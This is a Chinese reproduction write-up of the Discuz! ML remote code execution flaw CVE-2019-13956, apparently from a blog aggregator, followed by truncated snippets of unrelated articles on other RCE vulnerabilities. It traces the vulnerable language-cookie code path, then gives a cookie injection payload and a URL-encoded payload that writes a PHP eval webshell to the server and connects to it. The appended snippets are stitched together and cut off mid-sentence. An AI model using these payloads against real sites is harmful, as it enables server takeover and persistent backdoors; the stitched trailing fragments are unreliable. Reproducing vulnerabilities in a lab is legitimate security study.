Discuz! ML远程代码执行(CVE-2019-13956)

一、漏洞描述

该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行。

二、漏洞影响版本

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

三、漏洞环境搭建

1、 官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download

2、 将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装

  

3、然后就是一直点击下一步就可以了,直到完成安装

  

四、漏洞复现

1、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含

  

2、跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名

  

3、跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

  

4、继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

  

5、到此为止,整个漏洞分析过程已结束,过程如下:

外部参数$lng(即cookie中的language语言)可控,导致DISCUZ_LANG函数获取$lng,然后拼接成缓存文件并且返回了缓存文件名,导致template函数生成的缓存文件名可控,插入自己的代码,最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。

6、测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码

  

7、查看缓存文件,发现缓存文件名被修改如下

  

8、getshell

8.1尝试上传一个shell,构造payload,如下:

‘.file_put_contents(‘shell.php‘,‘<?php eval($_POST[cmd]);?>‘).‘

执行提示错误,可能是编码的原因

  

8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

  

8.3、查看是否成功上传shell.php,发现成功上传

  

8.4、菜刀连接

  

----------------------------------------------------------------------------------------

工具检测:https://github.com/theLSA/discuz-ml-rce

参考: https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21#wechat_redirect

原文地址:https://www.cnblogs.com/yuzly/p/11386755.html

时间: 2024-08-30 09:24:14

Discuz! ML远程代码执行(CVE-2019-13956)的相关文章

Discuz! 7.1 &amp; 7.2 远程代码执行漏洞

受影响产品: Discuz! 7.1 & 7.2 漏洞描述: 产生漏洞的$scriptlang数组在安装插件后已经初始化 Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令. 下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的: 一.漏洞来自showmessage函数: function showmessage($message, $url_forward = '', $extra

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN

LNK文件(快捷方式)远程代码执行漏洞复现过程(CVE-2017-8464)

漏洞编号:CVE-2017-8464 漏洞等级:严重 漏洞概要:如果用户打开攻击者精心构造的恶意LNK文件,则会造成远程代码执行.成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限. 攻击者可以通过可移动驱动器(U盘)或远程共享等方式将包含恶意LNK文件和与之相关的恶意二进制文件传播给用户.当用户通过Windows资源管理器或任何能够解析LNK文件的程序打开恶意的LNK文件时,与之关联的恶意二进制代码将在目标系统上执行. 受影响版本 桌面系统:Windows 10, 7, 8.1, 8, V

[EXP]CVE-2019-0604微软SharePoint远程代码执行漏洞利用

研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后,才发这现里的字全是都乱的. 剑桥大学的研究结果,当单词的字母顺序颠倒时,你仍旧可以明白整个单词的意思.其中重要的是:只要单词的第一个字母和最后一个子字母位置正确即可.其他的可以是完全的乱码,你仍旧可以清楚的完全没有问题的阅读.原因是因为人脑在认知单词的过程中不是依靠辨识字母的顺序,而是从整体来看.同理,汉字的阅读也会受到大脑先入为主的分析.如果你所看到的句子在大脑中事先有过印象,那么你就能顺利的将它读出.如果句子是大脑之前没有处理过的

windows RDP远程代码执行_CVE-2019-0708漏洞复现

一.漏洞概述 2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统.此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用.利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机. 二.漏洞影响版本 Windows 7 Windows server 2008 R2 Windows server 2008 Windows 2003 Windows xp 注:Windows

VxWorks发布安全更新修复多个高危远程代码执行漏洞

近日,VxWorks官方发布了安全漏洞公告称修复了由Armis研究团队发现并报告的11个安全漏洞,其中有6个可导致远程代码执行(RCE)漏洞,CVE-2019-12256.CVE-2019-12255.CVE-2019-12260 CVSS评分为9.8分 .这些漏洞存在于VxWorks的TCP/IP堆栈(IPnet)中,影响VxWorks 7 (SR540 and SR610).VxWorks 6.5-6.9及使用Interpeak独立网络堆栈的VxWorks版本.***者可以利用其中漏洞实现无

Linux内核竞争条件漏洞-导致远程代码执行

导读 *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一个内核竞争条件漏洞的影响,并导致系统无法抵御远程网络攻击.潜在的攻击者可以利用Linux内核中net/rds/tcp.c的rds_tcp_kill_sock TCP/IP实现缺陷,从而触发设备的拒绝服务(DoS)状态,并在受影响的设备上实现远程代码执行.攻击者可以通过特制的TCP数据包对存在漏

漏洞复现:MS14-064 OLE远程代码执行漏洞

MS14-064OLE远程代码执行漏洞 攻击机:Kali Linux 2019 靶机:Windows 7 x64.x32 攻击步骤: 1.打开攻击机Kali Linux 2019系统和靶机Windows 7系统 2.确定IP地址后,Kali Linux开启msf模块,准备攻击测试 3.在这里我们使用MS14-064OLE远程代码执行漏洞,开始搜索MS14-064 (search MS14-064) 4.我们利用use exploit/windows/browser/ms14_064_ole_co